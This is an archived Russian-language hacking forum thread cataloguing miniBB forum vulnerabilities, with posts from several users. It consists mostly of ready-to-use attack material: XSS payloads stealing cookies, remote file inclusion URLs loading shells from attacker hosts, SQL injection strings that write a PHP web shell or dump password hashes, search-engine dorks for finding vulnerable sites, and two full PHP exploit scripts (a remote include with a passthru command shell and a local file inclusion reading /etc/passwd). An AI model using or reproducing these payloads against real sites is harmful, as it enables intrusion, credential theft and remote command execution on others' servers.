PDA

Просмотр полной версии : [ Обзор уязвимостей miniBB ]


-=lebed=-
06.11.2007, 16:30
Обзор уязвимостей в miniBB

1. XSS miniBB<=1.7
Уязвимость в проверке правильности входных данных. Удаленный пользователь может выполнить XSS нападение.

http://[site]"></a><script> somejavascriptcode</script>
http://[site]"></a><script> alert(document.cookie)</script>


2. Удаленное выполнение произвольного php кода (php-инклуд) в MiniBB<=1.7
Уязвимость позволяет удаленному пользователю выполнить произвольные команды на целевой системе.

http://[target]/[path_to_minibb]/index.php? includeFooter=http://[attacker]
http://[target]/[path_to_minibb]/bb_admin.php? includeFooter=ht tp://[attacker]


3.SQL-inj в miniBB 2.0 RC6a, возможно более ранние версии.
a) Уязвимость существует из-за недостаточной обработки входных данных в параметрах confirmCode и post в сценарии index.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

http://[target]/[path_to_minibb]/index.php?action=confirmpasswd&confirmCode=f' union select '' from mysql.user INTO OUTFILE
'/var/www/html/shell.php'/*
http://[target]/[path_to_minibb]/index.php?action=delmsg&post=1' union select 1,1 from mysql.user INTO OUTFILE '/tmp/passwd'/*
http://[target]/[path_to_minibb]/index.php?action=editmsg&post=1' union select 1,1 from mysql.user INTO OUTFILE '/tmp/passwd'/*

б) Уязвимость существует из-за недостаточной обработки входных данных в параметрах “user_usr”, “email” и “login”. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольные SQL команды в базе данных приложения.

user_usr=f' union select '','123' from mysql.user INTO OUTFILE '/var/www/html/shell.php'/*
http://[target]/[path_to_minibb]/index.php?action=sendpass&email=f' union select 0,0,'' from mysql.user INTO OUTFILE '/var/www/html/shell.php'/*
http://[target]/[path_to_minibb]/index.php?action=registernew&login||email=1' union select 1 from mysql.user INTO OUTFILE '/tmp/passwd'/*


в) Уязвимость существует из-за недостаточной обработки входных данных в параметре “queryStr”. Удаленный пользователь может с помощью специально сформированного POST запроса выполнить произвольный код сценарий в браузере жертвы в контексте безопасности уязвимого сайта.

POST /index.php?sortBy=1 HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Host: minibb.local:80
Content-Length: 91
Connection: Close

user_usr=1&user_pwd=1&mode=login&queryStr=">&pagetype=index


4.Удаленное выполнение произвольного php кода (php-инклуд) в miniBB<=2.02
а) Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "pathToFiles" сценарием bb_func_txt.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

http://site/bb_func_txt.php?pathToFiles=$shell

б) Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре "pathToFiles" в сценарии index.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

http://www.example.com/[Script_Path]/index.php?pathToFiles=Shell.txt?


5.Удаленное выполнение произвольного php кода (php-инклуд) в miniBB<=2.05
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в поле language. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Эксплоит: http://www.xakep.ru/post/38631/MiniBB-Forum-Remote-Exploit.txt

6.SQL-inj в miniBB<=2.1, возможно более ранние версии.
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «table» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

http://site/index.php?action=search&where=3 &searchGo=1& table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username, 0x20,user_password))/**/FROM/**/minibbtable_users/* */WHERE/**/user_id=1/*

ettee
06.11.2007, 18:58
<= 1.5a RFI(news.php)
[target]/news.php?absolute_path=

<= 1.5a RFI(search.php-whosOnline.php)
[target]/search.php?absolute_path=
[target]/whosOnline.php?absolute_path=

Component "keyword_replacer":
addon_keywordreplacer.php?pathToFiles=

XXS:
index.php?action=search&searchFor="><script>xxx</script>

dork:
allinurl:*.minibb
"powered by minibb forum software"
"powered by minibb forum software" 2001-2006

Elekt
12.01.2008, 18:37
miniBB <=1.5a

Type: Remote File Include Vulnerabilities
Bug: com_minibb.php & index.php
Author: Ahmad Maulana a.k.a Matdhule

Эксплоит :
http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/minibb/index.php?absolute_path= http://attacker.com/evil.txt?




miniBB <= 2.x

Удаленный/локальный инклуд.

PHP<= 4.4.3, 5.1.4 Zend_Hash_Del_Key_Or_Index

includeHeader

Value:

PHP 4 -269001946
PHP 5 -834358190

Exploit: http://server/miniBB/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1


[miniBB unknown]

SQL-inj

Exploit: http://[target]/minibb/index.php?action=userinfo&user=1%20union%20select%201,2,user_password%20from %20minibb_users/*


miniBB 2.x

Раскрытие префикса базы, обход бана по айпи.

PHP ip2long() function circumvention

Exploit: X-FOWARDED-FOR: 1[CHR(9)]'[SQL CODE]

Solide Snake
12.01.2008, 20:57
miniBB <= 2.0.2 (bb_func_txt.php) Remote File Include Exploit

#!/usr/bin/php -q -d short_open_tag=on
<?
print '
::::::::: :::::::::: ::: ::: ::::::::::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#+ +:+ +#+ +#+
+#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+#+#+# #+# #+#
######### ########## ### ########### ##########
::::::::::: :::::::::: ::: :::: ::::
:+: :+: :+: :+: +:+:+: :+:+:+
+:+ +:+ +:+ +:+ +:+ +:+:+ +:+
+#+ +#++:++# +#++:++#++: +#+ +:+ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ########## ### ### ### ###

- - [DEVIL TEAM THE BEST POLISH TEAM] - -

miniBB <= 2.0.2 (bb_func_txt.php) Remote File Include Exploit

[Script name: miniBB v.2.0.2
[Script site: http://www.minibb.net/download.html



Find by: Kacper (a.k.a Rahim)


DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam

Contact: kacper1964@yahoo.pl
or
http://www.rahim.webd.pl/


(c)od3d by Kacper
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greetings DragonHeart and all DEVIL TEAM Patriots :)
- Leito & Leon
TomZen, Gelo, Ramzes, DMX, Ci2u, Larry, @steriod, Drzewko, CrazzyIwan, Rammstein
Adam., Kicaj., DeathSpeed, Arkadius, Michas, pepi, nukedclx, SkD, MXZ, sysios,
mIvus, nukedclx, SkD, wacky
';

if ($argc<4) {
print ('
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Usage: php '.$argv[0].' host shell cmd OPTIONS
host: script server (ip/hostname)
shell: path to shell (<?passthru($_GET[cmd]);?>)
cmd: a shell command (ls -la)
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80
shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..b est..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?>
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$shell=$argv[2];
$cmd="";

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p='http://'.$host.':'.$port;}

$packet ="GET ".$p."bb_func_txt.php?pathToFiles=".$shell."?cmd=".$cmd."%00 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"hauru"))
{
$temp=explode("hauru",$html);
die($temp[1]);
}
echo "Exploit err0r :(";
echo "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam";
?>

# milw0rm.com [2006-10-26]


MiniBB 2.0.5 (language) Local File Inclusion Exploit

<?

/*
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[ Dj7xpl@yahoo.com ]
[ Dj7xpl.2600.ir ]

----ooooO-----Ooooo--------------------------------------------------
( ) ( )
\ ( ) /
\_) (_/

---------------------------------------------------------------------

[!] Portal : MiniBB 2.0.5
[!] Download : http://www.minibb.net/download.html
[!] Author : Dj7xpl

---------------------------------------------------------------------
*/
// Print header
print_r('

__________________________________________________ ________________________
MiniBB Forum Version 2.0 Remote Exploit
Vuln And Coded By Dj7xpl
__________________________________________________ ________________________

');

// Print Usage
if ($argc<4) {
print_r('
__________________________________________________ ________________________

Usage: php '.$argv[0].' host path File OPTIONS
host: Target Ip Ro Hostname
path: path to Forum
File: File For Include
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /MiniBB/ ../../../../../etc/passwd -P1.1.1.1:80
php '.$argv[0].' localhost /MiniBB/ ../../../../../windows/php.ini -p81

__________________________________________________ ________________________

');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b) ';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$h tml))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}
// argv
$host=$argv[1];
$path=$argv[2];
$f=$argv[3];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

// Data

$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="action";

register
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="login";

dj7xpl
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="passwd";

dj7xpl
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="passwd2";

dj7xpl
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="email";

dj7xpl\@yahoo.com
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="language";

".$f."%00
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="submit";

New user signup
-----------------------------7d61bcd1f033e--
';
// Send Data To Target ;)

$packet ="POST ".$path."index.php? HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

// Print End Message
Print "Exploit succeeded... ;)\r\n";
print "Go To Target And Login By This\r\nuser : dj7xpl / pass : dj7xpl and see file in your browser\r\n";

?>

# milw0rm.com [2007-06-17]


miniBB 2.1 (table) Remote SQL Injection Vulnerability

PoC:

http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]
http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*